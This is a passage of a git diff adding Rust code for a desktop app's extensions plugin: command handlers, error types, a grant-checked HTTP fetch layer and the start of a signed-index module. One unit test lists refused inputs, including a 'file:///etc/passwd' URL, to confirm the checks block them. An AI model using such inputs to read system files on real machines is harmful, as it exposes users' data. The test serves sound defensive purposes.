install::discard_stage(s, &stage_id)).await+}++#[tauri::command]+async fn list(state: Shared<'_>) -> Result<ListResult> {+ blocking(&state, install::list).await+}++#[tauri::command]+async fn set_enabled(state: Shared<'_>, id: String, enabled: bool) -> Result<()> {+ blocking(&state, move |s| install::set_enabled(s, &id, enabled)).await+}++#[tauri::command]+async fn set_grants(state: Shared<'_>, id: String, granted: Vec<String>) -> Result<()> {+ blocking(&state, move |s| install::set_grants(s, &id, &granted)).await+}++#[tauri::command]+async fn uninstall(state: Shared<'_>, id: String) -> Result<()> {+ blocking(&state, move |s| install::uninstall(s, &id)).await+}++#[tauri::command]+async fn rollback(state: Shared<'_>, id: String) -> Result<InstalledExtension> {+ blocking(&state, move |s| install::rollback(s, &id)).await+}++#[tauri::command]+async fn read_entry(state: Shared<'_>, id: String) -> Result<EntrySource> {+ blocking(&state, move |s| install::read_entry(s, &id)).await+}++#[tauri::command]+async fn set_safe_mode(state: Shared<'_>, on: bool) -> Result<()> {+ blocking(&state, move |s| install::set_safe_mode(s, on)).await+}++#[tauri::command]+async fn http_fetch(+ state: Shared<'_>,+ id: String,+ req: HttpRequest,+ request_id: Option<String>,+) -> Result<HttpResponse> {+ let request_id = request_id.unwrap_or_else(random_id);+ http::http_fetch(&state, &id, &request_id, &req).await+}++#[tauri::command]+async fn http_fetch_stream(+ state: Shared<'_>,+ id: String,+ request_id: String,+ req: HttpRequest,+ on_event: Channel<HttpStreamEvent>,+) -> Result<u16> {+ http::http_fetch_stream(&state, &id, &request_id, &req, |event| {+ on_event.send(event).is_ok()+ })+ .await+}++#[tauri::command]+async fn list_sources(state: Shared<'_>) -> Result<SourceList> {+ blocking(&state, catalog::list_sources).await+}++#[tauri::command]+async fn add_source(+ state: Shared<'_>,+ url: String,+ name: String,+ public_key: Option<String>,+) -> Result<IndexSourceEntry> {+ blocking(&state, move |s| {+ catalog::add_source(s, &url, &name, public_key.as_deref())+ })+ .await+}++#[tauri::command]+async fn remove_source(state: Shared<'_>, id: String) -> Result<()> {+ blocking(&state, move |s| catalog::remove_source(s, &id)).await+}++#[tauri::command]+async fn get_catalog(state: Shared<'_>, source_id: String) -> Result<Catalog> {+ catalog::get_catalog(&state, &source_id).await+}++#[tauri::command]+async fn accept_next_key(+ state: Shared<'_>,+ source_id: String,+ next_public_key: String,+) -> Result<IndexSourceEntry> {+ catalog::accept_next_key(&state, &source_id, &next_public_key).await+}++#[tauri::command]+async fn stage_from_index(+ state: Shared<'_>,+ source_id: String,+ id: String,+ version: String,+) -> Result<StagedInstall> {+ let downloaded = catalog::download_from_index(&state, &source_id, &id, &version).await?;+ blocking(&state, move |s| {+ catalog::stage_downloaded(s, downloaded, &id, &version)+ })+ .await+}++#[tauri::command]+fn http_cancel(state: Shared<'_>, id: String, request_id: String) {+ http::cancel(&state, &id, &request_id);+}++/// The plugin. `root` resolves the extensions root+/// (`<jan data folder>/extensions`) at setup, when the app's configured data+/// folder can be read. Safe mode is forced for the run when+/// `JAN_EXTENSIONS_SAFE_MODE=1`.+pub fn init<R, F>(root: F) -> TauriPlugin<R>+where+ R: Runtime,+ F: FnOnce(&AppHandle<R>) -> PathBuf + Send + 'static,+{+ Builder::new("extensions")+ .invoke_handler(tauri::generate_handler![+ stage_bundle,+ confirm_install,+ discard_stage,+ list,+ set_enabled,+ set_grants,+ uninstall,+ rollback,+ read_entry,+ set_safe_mode,+ http_fetch,+ http_fetch_stream,+ http_cancel,+ list_sources,+ add_source,+ remove_source,+ get_catalog,+ accept_next_key,+ stage_from_index,+ ])+ .setup(move |app, _api| {+ let options = Options {+ app_version: app.package_info().version.to_string(),+ safe_mode_forced: safe_mode_from_env(),+ };+ let state = ExtensionsState::new(root(app), options)?;+ app.manage(Arc::new(state));+ Ok(())+ })+ .build()+}++/// Tells the plugin which port Jan's local API server listens on (`None`+/// once it stops), so no extension request reaches it on a local host.+/// A no-op when the plugin is not registered.+pub fn set_local_api_port<R: Runtime>(app: &AppHandle<R>, port: Option<u16>) {+ if let Some(state) = app.try_state::<Arc<ExtensionsState>>() {+ state.set_local_api_port(port);+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/error.rs b/src-tauri/plugins/tauri-plugin-extensions/src/error.rsnew file mode 100644index 000000000..b793d743f--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/error.rs@@ -0,0 +1,265 @@+//! Error types of the pure modules and of the command surface.++use std::fmt;+use std::path::PathBuf;++use serde::ser::SerializeStruct;+use serde::{Serialize, Serializer};++/// Why a tarball was refused or could not be extracted.+#[derive(Debug, thiserror::Error)]+pub enum BundleError {+ /// Reading the archive or writing the extracted files failed.+ #[error("I/O error: {0}")]+ Io(#[from] std::io::Error),+ /// More decompressed bytes than `Limits::max_total_bytes`.+ #[error("the package expands to more than {limit} bytes")]+ TooLarge {+ /// The cap that was exceeded.+ limit: u64,+ },+ /// More entries than `Limits::max_entries`.+ #[error("the package has more than {limit} entries")]+ TooManyEntries {+ /// The cap that was exceeded.+ limit: usize,+ },+ /// More distinct directories than `Limits::max_dirs`.+ #[error("the package has more than {limit} directories")]+ TooManyDirectories {+ /// The cap that was exceeded.+ limit: usize,+ },+ /// One file is larger than `Limits::max_file_bytes`.+ #[error("'{path}' is larger than {limit} bytes")]+ FileTooLarge {+ /// The offending entry, as written in the archive.+ path: String,+ /// The cap that was exceeded.+ limit: u64,+ },+ /// An entry type other than a regular file or a directory.+ #[error("'{path}' is a {kind}, only regular files and directories are allowed")]+ UnsupportedEntry {+ /// The offending entry.+ path: String,+ /// A readable name of its type.+ kind: String,+ },+ /// A path nested deeper or longer than `Limits` allows.+ #[error("'{path}' is nested deeper than {max_depth} levels or longer than {max_bytes} bytes")]+ PathTooLong {+ /// The offending entry, lossily decoded.+ path: String,+ /// The depth cap.+ max_depth: usize,+ /// The length cap.+ max_bytes: usize,+ },+ /// A path that is not `package/` followed by plain relative components.+ #[error("'{path}' is not a safe path inside package/")]+ UnsafePath {+ /// The offending entry, lossily decoded.+ path: String,+ },+ /// The same path twice, possibly differing only in letter case.+ #[error("'{path}' appears more than once (paths are compared case-insensitively)")]+ Duplicate {+ /// The second occurrence.+ path: String,+ },+ /// `package/package.json` is missing.+ #[error("the package has no package/package.json")]+ MissingPackageJson,+ /// `package/package.json` is not a JSON object.+ #[error("package/package.json is not valid JSON: {0}")]+ BadPackageJson(String),+ /// The destination directory already exists.+ #[error("the extraction target {0} already exists")]+ DestinationExists(PathBuf),+}++/// A failed `sha512-<base64>` check.+#[derive(Debug, thiserror::Error, PartialEq, Eq)]+pub enum IntegrityError {+ /// Not a `sha512-` SRI string with a 64-byte digest.+ #[error("'{0}' is not a sha512 integrity string")]+ Malformed(String),+ /// The bytes hash to something else.+ #[error("integrity mismatch: expected {expected}, got {actual}")]+ Mismatch {+ /// The pinned value.+ expected: String,+ /// What the bytes hash to.+ actual: String,+ },+}++/// Why the signature of an index from a keyed source was refused. Any of+/// these rejects the whole index before it is parsed.+#[derive(Debug, Clone, thiserror::Error, PartialEq, Eq)]+pub enum SignatureError {+ /// The pinned key is not base64 of a valid, non-weak ed25519 key.+ #[error("the pinned public key is not a valid ed25519 key")]+ MalformedKey,+ /// The source has a pinned key but its `.sig` could not be fetched.+ #[error("the source has a pinned key, but its index signature is missing: {0}")]+ Missing(String),+ /// The `.sig` is not standard base64 of 64 bytes.+ #[error("the index signature is not base64 of a 64-byte ed25519 signature")]+ Malformed,+ /// The signature does not verify over the index bytes with the key.+ #[error("the index signature does not match the source's pinned key")]+ Mismatch,+ /// A validly signed index older than one already accepted from the+ /// source: an old index served again (a rollback or a freeze).+ #[error("the signed index was generated at {generated_at}, before the index already accepted from this source ({last}); an old index may be being replayed")]+ Rollback {+ /// The `generatedAt` of the refused index.+ generated_at: String,+ /// The newest `generatedAt` accepted before.+ last: String,+ },+ /// A validly signed index past its signed `expires` time.+ #[error("the signed index expired at {0}; the source must publish a fresh one")]+ Expired(String),+ /// A validly signed index generated further ahead of this clock than+ /// skew explains. Accepted, it would become the rollback mark and lock+ /// the source out of every honest index after it.+ #[error("the signed index claims to be generated at {0}, in the future; check this computer's clock or the source's")]+ FromTheFuture(String),+ /// A signed index whose `generatedAt` or `expires` is not an RFC 3339+ /// time, so its freshness cannot be checked.+ #[error("the signed index has no valid RFC 3339 {0}")]+ BadTimestamp(&'static str),+}++/// One manifest problem, with the same path syntax as the TypeScript+/// validator (`jan.contributes.commands[1].id`).+#[derive(Debug, Clone, PartialEq, Eq, Serialize)]+pub struct ManifestIssue {+ /// Where the problem is.+ pub path: String,+ /// What is wrong.+ pub message: String,+}++/// Every problem found in a manifest.+#[derive(Debug, Clone, PartialEq, Eq, thiserror::Error)]+pub struct ManifestErrors(pub Vec<ManifestIssue>);++impl fmt::Display for ManifestErrors {+ fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {+ let parts: Vec<String> = self+ .0+ .iter()+ .map(|issue| {+ if issue.path.is_empty() {+ issue.message.clone()+ } else {+ format!("{} {}", issue.path, issue.message)+ }+ })+ .collect();+ write!(f, "invalid manifest: {}", parts.join("; "))+ }+}++/// Reading or writing `extensions.json` / `sources.json` failed.+#[derive(Debug, thiserror::Error)]+pub enum StoreError {+ /// File system error.+ #[error("I/O error: {0}")]+ Io(#[from] std::io::Error),+ /// Serializing failed.+ #[error("JSON error: {0}")]+ Json(#[from] serde_json::Error),+}++/// What a command can fail with. Serialized to the webview as+/// `{ kind, message }` so the UI can branch on `kind` and show `message`.+#[derive(Debug, thiserror::Error)]+pub enum Error {+ /// See [`BundleError`].+ #[error(transparent)]+ Bundle(#[from] BundleError),+ /// See [`IntegrityError`].+ #[error(transparent)]+ Integrity(#[from] IntegrityError),+ /// See [`SignatureError`].+ #[error(transparent)]+ Signature(#[from] SignatureError),+ /// See [`ManifestErrors`].+ #[error(transparent)]+ Manifest(#[from] ManifestErrors),+ /// See [`StoreError`].+ #[error(transparent)]+ Store(#[from] StoreError),+ /// File system error outside extraction.+ #[error("I/O error: {0}")]+ Io(#[from] std::io::Error),+ /// No such extension, stage, source or version.+ #[error("{0}")]+ NotFound(String),+ /// The request is not allowed (grants, safe mode, disabled, downgrade).+ #[error("{0}")]+ Denied(String),+ /// The arguments are malformed.+ #[error("{0}")]+ Invalid(String),+ /// Installed files no longer match what was recorded at install time.+ #[error("{0}")]+ Tampered(String),+ /// A network request failed.+ #[error("{0}")]+ Network(String),+ /// A response or request body is over its cap.+ #[error("{0}")]+ TooLarge(String),+ /// The caller cancelled the request.+ #[error("the request was cancelled")]+ Cancelled,+}++impl Error {+ /// The stable machine-readable kind sent to the webview.+ pub fn kind(&self) -> &'static str {+ match self {+ Error::Bundle(_) => "bundle",+ Error::Integrity(_) => "integrity",+ Error::Signature(_) => "signature",+ Error::Manifest(_) => "manifest",+ Error::Store(_) | Error::Io(_) => "io",+ Error::NotFound(_) => "notFound",+ Error::Denied(_) => "denied",+ Error::Invalid(_) => "invalid",+ Error::Tampered(_) => "tampered",+ Error::Network(_) => "network",+ Error::TooLarge(_) => "tooLarge",+ Error::Cancelled => "cancelled",+ }+ }+}++impl Serialize for Error {+ fn serialize<S: Serializer>(&self, serializer: S) -> std::result::Result<S::Ok, S::Error> {+ let mut s = serializer.serialize_struct("Error", 2)?;+ s.serialize_field("kind", self.kind())?;+ s.serialize_field("message", &self.to_string())?;+ s.end()+ }+}++/// Result alias of the command surface.+pub type Result<T> = std::result::Result<T, Error>;++#[cfg(test)]+mod tests {+ use super::*;++ #[test]+ fn serializes_as_kind_and_message() {+ let value = serde_json::to_value(Error::Denied("no".into())).unwrap();+ assert_eq!(value, serde_json::json!({ "kind": "denied", "message": "no" }));+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/http.rs b/src-tauri/plugins/tauri-plugin-extensions/src/http.rsnew file mode 100644index 000000000..7e1d60072--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/http.rs@@ -0,0 +1,559 @@+//! `http_fetch`: the only network path of an installed extension.+//!+//! Every call re-reads the extension's grants from `extensions.json` and+//! checks the URL with the same rule as the web-app dispatcher before any+//! socket is opened. The client has no cookie store and follows no+//! redirect: a 3xx comes back to the caller with its `Location`, and the+//! caller checks the next hop against the grants and calls again. Cookie+//! headers are dropped both ways and a request cannot set transport+//! headers (Host and the like), so a granted connection cannot be pointed+//! at another virtual host.+//!+//! # Accepted risks+//!+//! **DNS rebinding.** A `network:<host>` grant is checked against the URL's+//! host name; the address it resolves to is not checked. Every host other+//! than `localhost` and `127.0.0.1` must be https with a certificate that+//! verifies for that name, and Jan's local API server speaks plain http, so+//! a name rebound to loopback cannot complete a TLS handshake with it. What+//! remains is an internal https service that holds a valid certificate for+//! the granted public name, which an extension cannot arrange.+//!+//! **Proxies.** Requests go through whatever proxy reqwest picks up: the+//! `HTTP_PROXY`, `HTTPS_PROXY` and `ALL_PROXY` variables (honouring+//! `NO_PROXY`), and in the app build also the system proxy settings, since+//! cargo unifies reqwest's default features from the app crate. Extension+//! traffic, including granted `http://localhost` and `http://127.0.0.1`+//! requests, may therefore pass through the user's proxy unless `NO_PROXY`+//! excludes it. That is the user's own configuration, so it is accepted;+//! the grant check is unaffected because it runs on the URL before the+//! request is built. Index and tarball downloads ([`crate::index`]) behave+//! the same way.++use std::collections::BTreeMap;+use std::time::Duration;++use serde::{Deserialize, Serialize};+use tokio::sync::oneshot;+use url::Url;++use crate::error::{Error, Result};+use crate::install::network_grants;+use crate::permissions::url_allowed;+use crate::state::{lock, ExtensionsState, Running};++/// Largest response body returned by [`http_fetch`].+pub const MAX_RESPONSE_BYTES: usize = 1024 * 1024;+/// Largest request body accepted.+pub const MAX_REQUEST_BYTES: usize = 4 * 1024 * 1024;+/// Largest body one stream may deliver in total. Model output is long, but+/// not unbounded.+pub const MAX_STREAM_BYTES: usize = 64 * 1024 * 1024;+/// Whole-request timeout of [`http_fetch`].+pub const FETCH_TIMEOUT: Duration = Duration::from_secs(30);+/// Longest wait for the next chunk of a stream (or its head).+pub const STREAM_IDLE_TIMEOUT: Duration = Duration::from_secs(300);+/// Requests in flight per extension.+pub const MAX_IN_FLIGHT_PER_EXTENSION: usize = 8;++const METHODS: &[&str] = &["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD"];+const COOKIE_HEADERS: &[&str] = &["cookie", "cookie2", "set-cookie", "set-cookie2"];+// Set by the client from the URL and body; letting a caller choose them+// would let a granted connection carry a request for another host.+const TRANSPORT_HEADERS: &[&str] = &[+ "host",+ "content-length",+ "transfer-encoding",+ "connection",+ "keep-alive",+ "upgrade",+ "te",+ "trailer",+ "expect",+ "proxy-authorization",+ "proxy-connection",+];++/// A request from an extension.+#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct HttpRequest {+ /// Absolute https URL (http only for localhost and 127.0.0.1).+ pub url: String,+ /// `GET` (default), `POST`, `PUT`, `PATCH`, `DELETE` or `HEAD`.+ #[serde(default)]+ pub method: Option<String>,+ /// Request headers. Cookie and transport headers are refused.+ #[serde(default)]+ pub headers: BTreeMap<String, String>,+ /// UTF-8 request body.+ #[serde(default)]+ pub body: Option<String>,+}++/// A whole response. A redirect is returned as is, with `Location` in+/// `headers`, for the caller to check and follow.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct HttpResponse {+ /// HTTP status.+ pub status: u16,+ /// Response headers, lowercase names, repeated values joined by `, `.+ /// Cookie headers are removed.+ pub headers: BTreeMap<String, String>,+ /// The body, decoded as UTF-8 (invalid sequences replaced).+ pub body: String,+}++/// One event of [`http_fetch_stream`], in order: `head`, any number of+/// `chunk`, then `end` or `error`.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(tag = "event", rename_all = "camelCase")]+pub enum HttpStreamEvent {+ /// Status and headers; a redirect ends right after it.+ Head {+ /// HTTP status.+ status: u16,+ /// As in [`HttpResponse::headers`].+ headers: BTreeMap<String, String>,+ },+ /// The next piece of the body. Chunks split only between whole UTF-8+ /// characters, so concatenating them gives the body.+ Chunk {+ /// UTF-8 text.+ data: String,+ },+ /// The body is complete.+ End,+ /// The stream failed after its head.+ #[serde(rename_all = "camelCase")]+ Error {+ /// The same `kind` as a command error.+ kind: String,+ /// What went wrong.+ message: String,+ },+}++/// A request that passed [`check_request`].+#[derive(Debug, Clone)]+pub struct CheckedRequest {+ /// The parsed URL.+ pub url: Url,+ /// The method.+ pub method: reqwest::Method,+ /// The headers to send, lowercase names.+ pub headers: Vec<(String, String)>,+}++/// Validates the request and checks the URL against `granted`, before any+/// network.+pub fn check_request(+ granted: &[String],+ req: &HttpRequest,+ local_api_port: Option<u16>,+) -> Result<CheckedRequest> {+ let url = Url::parse(&req.url).map_err(|_| Error::Invalid(format!("'{}' is not an absolute URL", req.url)))?;+ if !url_allowed(granted, &url, local_api_port) {+ let host = url.host_str().unwrap_or("");+ return Err(Error::Denied(format!(+ "the extension may not connect to {}://{host}",+ url.scheme()+ )));+ }+ let method = req.method.as_deref().unwrap_or("GET").to_ascii_uppercase();+ if !METHODS.contains(&method.as_str()) {+ return Err(Error::Invalid(format!("method '{method}' is not allowed")));+ }+ let method = reqwest::Method::from_bytes(method.as_bytes())+ .map_err(|_| Error::Invalid(format!("method '{method}' is not allowed")))?;+ if req.body.as_ref().is_some_and(|b| b.len() > MAX_REQUEST_BYTES) {+ return Err(Error::TooLarge(format!(+ "the request body is larger than {MAX_REQUEST_BYTES} bytes"+ )));+ }+ let mut headers = Vec::with_capacity(req.headers.len());+ for (name, value) in &req.headers {+ let lower = name.to_ascii_lowercase();+ if COOKIE_HEADERS.contains(&lower.as_str()) {+ continue;+ }+ if TRANSPORT_HEADERS.contains(&lower.as_str())+ || lower.starts_with("proxy-")+ || lower.starts_with("sec-")+ {+ return Err(Error::Invalid(format!("header '{name}' cannot be set")));+ }+ if reqwest::header::HeaderName::from_bytes(name.as_bytes()).is_err()+ || reqwest::header::HeaderValue::from_str(value).is_err()+ {+ return Err(Error::Invalid(format!("header '{name}' is malformed")));+ }+ headers.push((lower, value.clone()));+ }+ Ok(CheckedRequest {+ url,+ method,+ headers,+ })+}++fn response_headers(response: &reqwest::Response) -> BTreeMap<String, String> {+ let mut out: BTreeMap<String, String> = BTreeMap::new();+ for (name, value) in response.headers() {+ let name = name.as_str().to_ascii_lowercase();+ if COOKIE_HEADERS.contains(&name.as_str()) {+ continue;+ }+ let value = String::from_utf8_lossy(value.as_bytes()).into_owned();+ out.entry(name)+ .and_modify(|v| {+ v.push_str(", ");+ v.push_str(&value);+ })+ .or_insert(value);+ }+ out+}++/// Removes the request from the in-flight map when dropped, unless the key+/// already belongs to a later request: `cancel` only signals, but a caller+/// may still re-use a request id once its request has finished.+struct InFlight<'a> {+ state: &'a ExtensionsState,+ key: String,+ token: u64,+}++impl Drop for InFlight<'_> {+ fn drop(&mut self) {+ let mut requests = lock(&self.state.requests);+ if requests.get(&self.key).is_some_and(|r| r.token == self.token) {+ requests.remove(&self.key);+ }+ }+}++fn register<'a>(+ state: &'a ExtensionsState,+ id: &str,+ request_id: &str,+) -> Result<(InFlight<'a>, oneshot::Receiver<()>)> {+ if request_id.is_empty() || request_id.len() > 64 {+ return Err(Error::Invalid("the request id must be 1-64 characters".into()));+ }+ let key = format!("{id}\n{request_id}");+ let prefix = format!("{id}\n");+ let mut requests = lock(&state.requests);+ if requests.contains_key(&key) {+ return Err(Error::Invalid(format!("request '{request_id}' is already running")));+ }+ if requests.keys().filter(|k| k.starts_with(&prefix)).count() >= MAX_IN_FLIGHT_PER_EXTENSION {+ return Err(Error::Denied(format!(+ "an extension may run at most {MAX_IN_FLIGHT_PER_EXTENSION} requests at once"+ )));+ }+ let (tx, rx) = oneshot::channel();+ let token = state.next_request_token();+ requests.insert(+ key.clone(),+ Running {+ token,+ cancel: Some(tx),+ },+ );+ Ok((InFlight { state, key, token }, rx))+}++/// Cancels a running request of `id`. Unknown ids are ignored: the request+/// may just have finished. The entry stays until the request's future is+/// dropped, so it keeps counting towards the in-flight cap until it has+/// actually stopped.+pub fn cancel(state: &ExtensionsState, id: &str, request_id: &str) {+ let mut requests = lock(&state.requests);+ if let Some(tx) = requests+ .get_mut(&format!("{id}\n{request_id}"))+ .and_then(|r| r.cancel.take())+ {+ let _ = tx.send(());+ }+}++async fn send(+ state: &ExtensionsState,+ id: &str,+ req: &HttpRequest,+) -> Result<reqwest::Response> {+ let granted = network_grants(state, id)?;+ let checked = check_request(&granted, req, state.local_api_port())?;+ let mut builder = state.http.request(checked.method, checked.url);+ for (name, value) in checked.headers {+ builder = builder.header(name, value);+ }+ if let Some(body) = &req.body {+ builder = builder.body(body.clone());+ }+ builder+ .send()+ .await+ .map_err(|e| Error::Network(format!("the request failed: {e}")))+}++/// Fetches `req` for extension `id` and returns the whole response, with+/// the body capped at [`MAX_RESPONSE_BYTES`]. `request_id` lets [`cancel`]+/// abort it.+pub async fn http_fetch(+ state: &ExtensionsState,+ id: &str,+ request_id: &str,+ req: &HttpRequest,+) -> Result<HttpResponse> {+ let (_in_flight, mut cancelled) = register(state, id, request_id)?;+ let work = async {+ let mut response = send(state, id, req).await?;+ let status = response.status().as_u16();+ let headers = response_headers(&response);+ let mut body: Vec<u8> = Vec::new();+ while let Some(chunk) = response+ .chunk()+ .await+ .map_err(|e| Error::Network(format!("reading the response failed: {e}")))?+ {+ if body.len() + chunk.len() > MAX_RESPONSE_BYTES {+ return Err(Error::TooLarge(format!(+ "the response is larger than {MAX_RESPONSE_BYTES} bytes"+ )));+ }+ body.extend_from_slice(&chunk);+ }+ Ok(HttpResponse {+ status,+ headers,+ body: String::from_utf8_lossy(&body).into_owned(),+ })+ };+ tokio::select! {+ result = tokio::time::timeout(FETCH_TIMEOUT, work) => {+ result.map_err(|_| Error::Network("the request timed out".into()))?+ }+ _ = &mut cancelled => Err(Error::Cancelled),+ }+}++/// Splits `buf` at the last complete UTF-8 character and returns the text+/// before it, leaving an incomplete trailing sequence in `buf`.+fn take_utf8(buf: &mut Vec<u8>) -> String {+ let cut = match std::str::from_utf8(buf) {+ Ok(_) => buf.len(),+ Err(e) if e.error_len().is_none() => e.valid_up_to(),+ // An invalid sequence: decode lossily up to the end.+ Err(_) => buf.len(),+ };+ let rest = buf.split_off(cut);+ let text = String::from_utf8_lossy(buf).into_owned();+ *buf = rest;+ text+}++/// Fetches `req` for extension `id` and delivers the response through+/// `emit` as a `head` event, `chunk` events and a final `end` or `error`.+/// The returned value is the head's status. Errors before the head (grant,+/// validation, connection) are returned and nothing is emitted; errors+/// after it are emitted as `error`. `emit` returning false (the receiver is+/// gone) stops the stream.+pub async fn http_fetch_stream<F>(+ state: &ExtensionsState,+ id: &str,+ request_id: &str,+ req: &HttpRequest,+ mut emit: F,+) -> Result<u16>+where+ F: FnMut(HttpStreamEvent) -> bool,+{+ let (_in_flight, mut cancelled) = register(state, id, request_id)?;+ let head = tokio::select! {+ result = tokio::time::timeout(STREAM_IDLE_TIMEOUT, send(state, id, req)) => {+ result.map_err(|_| Error::Network("the request timed out".into()))??+ }+ _ = &mut cancelled => return Err(Error::Cancelled),+ };+ let mut response = head;+ let status = response.status().as_u16();+ if !emit(HttpStreamEvent::Head {+ status,+ headers: response_headers(&response),+ }) {+ return Ok(status);+ }+ let mut total = 0usize;+ let mut pending: Vec<u8> = Vec::new();+ let failure = loop {+ let next = tokio::select! {+ result = tokio::time::timeout(STREAM_IDLE_TIMEOUT, response.chunk()) => result,+ _ = &mut cancelled => break Some(Error::Cancelled),+ };+ let chunk = match next {+ Err(_) => break Some(Error::Network("the stream stalled".into())),+ Ok(Err(e)) => break Some(Error::Network(format!("reading the response failed: {e}"))),+ Ok(Ok(None)) => break None,+ Ok(Ok(Some(chunk))) => chunk,+ };+ total += chunk.len();+ if total > MAX_STREAM_BYTES {+ break Some(Error::TooLarge(format!(+ "the response is larger than {MAX_STREAM_BYTES} bytes"+ )));+ }+ pending.extend_from_slice(&chunk);+ let data = take_utf8(&mut pending);+ if !data.is_empty() && !emit(HttpStreamEvent::Chunk { data }) {+ return Ok(status);+ }+ };+ match failure {+ None => {+ if !pending.is_empty() {+ let data = String::from_utf8_lossy(&pending).into_owned();+ if !emit(HttpStreamEvent::Chunk { data }) {+ return Ok(status);+ }+ }+ emit(HttpStreamEvent::End);+ }+ Some(e) => {+ emit(HttpStreamEvent::Error {+ kind: e.kind().to_string(),+ message: e.to_string(),+ });+ }+ }+ Ok(status)+}++#[cfg(test)]+mod tests {+ use super::*;++ fn grants(list: &[&str]) -> Vec<String> {+ list.iter().map(|s| s.to_string()).collect()+ }++ fn req(url: &str) -> HttpRequest {+ HttpRequest {+ url: url.into(),+ ..HttpRequest::default()+ }+ }++ #[test]+ fn refuses_ungranted_and_insecure_urls() {+ let g = grants(&["network:api.example.com", "network:127.0.0.1"]);+ assert!(check_request(&g, &req("https://api.example.com/x"), None).is_ok());+ for url in [+ "https://other.example.com/",+ "http://api.example.com/",+ "http://127.0.0.1:1337/v1/models",+ "https://user:[email protected]/",+ "file:///etc/passwd",+ "not a url",+ ] {+ let err = check_request(&g, &req(url), Some(1337)).unwrap_err();+ assert!(matches!(err, Error::Denied(_) | Error::Invalid(_)), "{url}: {err}");+ }+ }++ #[test]+ fn refuses_transport_headers_and_drops_cookies() {+ let g = grants(&["network:*"]);+ let mut r = req("https://a.example.com/");+ r.headers.insert("Cookie".into(), "a=b".into());+ r.headers.insert("Authorization".into(), "Bearer x".into());+ let headers = check_request(&g, &r, None).unwrap().headers;+ assert_eq!(headers, vec![("authorization".to_string(), "Bearer x".to_string())]);+ for name in ["Host", "Content-Length", "Transfer-Encoding", "Proxy-Authorization", "Sec-Fetch-Site"] {+ let mut r = req("https://a.example.com/");+ r.headers.insert(name.into(), "x".into());+ assert!(check_request(&g, &r, None).is_err(), "{name}");+ }+ let mut r = req("https://a.example.com/");+ r.headers.insert("X-Bad".into(), "a\nb".into());+ assert!(check_request(&g, &r, None).is_err());+ }++ #[test]+ fn refuses_unknown_methods_and_large_bodies() {+ let g = grants(&["network:*"]);+ let mut r = req("https://a.example.com/");+ r.method = Some("CONNECT".into());+ assert!(check_request(&g, &r, None).is_err());+ r.method = Some("post".into());+ assert!(check_request(&g, &r, None).is_ok());+ r.body = Some("x".repeat(MAX_REQUEST_BYTES + 1));+ assert!(matches!(check_request(&g, &r, None), Err(Error::TooLarge(_))));+ }++ fn in_flight(state: &ExtensionsState, id: &str) -> usize {+ let prefix = format!("{id}\n");+ lock(&state.requests).keys().filter(|k| k.starts_with(&prefix)).count()+ }++ #[test]+ fn a_cancelled_request_does_not_drop_its_successor() {+ let root = tempfile::tempdir().unwrap();+ let options = crate::state::Options {+ app_version: "0.8.5".into(),+ safe_mode_forced: false,+ };+ let state = ExtensionsState::new(root.path(), options).unwrap();+ let id = "acme.hello";+ // A worker re-using one request id: cancel, then register it again+ // before and after the cancelled future is dropped.+ for _ in 0..MAX_IN_FLIGHT_PER_EXTENSION * 2 {+ let (first, mut first_rx) = register(&state, id, "same").unwrap();+ cancel(&state, id, "same");+ assert!(first_rx.try_recv().is_ok());+ // Still counted, and still owning its id, until it is dropped.+ assert_eq!(in_flight(&state, id), 1);+ assert!(matches!(register(&state, id, "same"), Err(Error::Invalid(_))));+ cancel(&state, id, "same");+ drop(first);+ assert_eq!(in_flight(&state, id), 0);+ let (second, mut rx) = register(&state, id, "same").unwrap();+ assert_eq!(in_flight(&state, id), 1);+ cancel(&state, id, "same");+ assert!(rx.try_recv().is_ok());+ drop(second);+ }+ assert_eq!(in_flight(&state, id), 0);++ // A guard whose key was taken over by a later request leaves it.+ let (stale, _rx) = register(&state, id, "k").unwrap();+ lock(&state.requests).remove(&format!("{id}\nk"));+ let (live, _live_rx) = register(&state, id, "k").unwrap();+ drop(stale);+ assert_eq!(in_flight(&state, id), 1);+ drop(live);+ assert_eq!(in_flight(&state, id), 0);++ let guards: Vec<_> = (0..MAX_IN_FLIGHT_PER_EXTENSION)+ .map(|i| register(&state, id, &format!("r{i}")).unwrap())+ .collect();+ assert!(matches!(register(&state, id, "one-more"), Err(Error::Denied(_))));+ drop(guards);+ }++ #[test]+ fn splits_chunks_on_character_boundaries() {+ let text = "a\u{e9}\u{1f600}";+ let bytes = text.as_bytes();+ let mut buf = bytes[..3].to_vec();+ assert_eq!(take_utf8(&mut buf), "a\u{e9}");+ assert_eq!(buf, Vec::<u8>::new());+ let mut buf = bytes[..5].to_vec();+ assert_eq!(take_utf8(&mut buf), "a\u{e9}");+ assert_eq!(buf, bytes[3..5].to_vec());+ buf.extend_from_slice(&bytes[5..]);+ assert_eq!(take_utf8(&mut buf), "\u{1f600}");+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/index.rs b/src-tauri/plugins/tauri-plugin-extensions/src/index.rsnew file mode 100644index 000000000..cf2456c62--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/index.rs@@ -0,0 +1,547 @@+//! The index format (schema 1) and how an index, its signature and its+//! tarballs are fetched.+//!+//! The index of a source with a pinned key must come with a detached+//! signature (see [`crate::signature`]); it is checked over the exact bytes+//! before the index is parsed. A source without a key is read unsigned and+//! labelled as such.+//!+//! An index lists extensions and, per version, an https tarball URL pinned+//! by a sha512 SRI plus the permissions it requests. Installing from an index+//! downloads the tarball, checks the SRI, and refuses a package whose+//! manifest id, version or permissions differ from the listing, so the+//! consent the user gives matches what the catalog showed.++use std::collections::BTreeSet;+use std::time::Duration;++use serde::{Deserialize, Serialize};+use url::Url;++use crate::error::{Error, Result, SignatureError};+use crate::integrity::{self, is_sri};+use crate::manifest::{is_caret_range, is_extension_id, 